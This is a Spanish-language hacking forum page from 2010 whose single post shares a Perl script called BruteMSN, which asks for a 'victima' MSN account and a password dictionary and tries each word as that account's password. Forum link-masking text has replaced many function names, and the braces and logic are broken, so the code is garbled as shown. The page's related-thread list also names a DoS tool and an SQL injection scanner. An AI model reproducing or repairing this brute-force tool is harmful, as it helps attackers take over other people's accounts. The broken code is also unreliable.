comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[PERL] BruteMSN

  • 0 Respuestas
  • 1129 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:33:56 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("clear");
  3. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("cls");
  4. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("color fc");
  5. # Re-c0de by m0x.lk
  6. # Edit : BruteMSN .- ~HaSe & RE.
  7. # Download Lib's.
  8. use lib No tienes permisos para ver links. Registrate o Entra con tu cuenta(./MSN/lib);
  9. use MSN;
  10. use strict;
  11. use encoding "euc-jp";
  12. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Re-C0de by m0x.lk\n";
  13. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n";
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta "BruteMSN .- ~HaSe & RE.\n";
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n";
  16. No tienes permisos para ver links. Registrate o Entra con tu cuenta 1;
  17. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Victima: ";
  18. $victima=<STDIN>;
  19. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  20. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n";
  21. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Diccionario: ";
  22. $dict=<STDIN>;
  23. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  24. No tienes permisos para ver links. Registrate o Entra con tu cuenta (D,"<$dict") or No tienes permisos para ver links. Registrate o Entra con tu cuenta "Diccionario no encontrado\n";
  25. while(<D>)
  26. {
  27. $try = $_;
  28.     No tienes permisos para ver links. Registrate o Entra con tu cuenta $try;
  29. my $msn = MSN->new(Handle => '$victima',
  30.                    Password => '$try');
  31.     $counter++;
  32.     $tiempo++;
  33.     {
  34.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "$victima / $try \n";
  35.    last;
  36.     }
  37.     if($counter==$fallos)
  38.     {
  39. }
  40. No tienes permisos para ver links. Registrate o Entra con tu cuenta(D);
  41. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  42. No tienes permisos para ver links. Registrate o Entra con tu cuenta "$tiempo Obtener pass";
  43. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  44. No tienes permisos para ver links. Registrate o Entra con tu cuenta "c0dex by m0x.lk";
« Última modificación: Marzo 14, 2015, 09:46:27 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3229
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1511
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1304
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1398
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1139
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear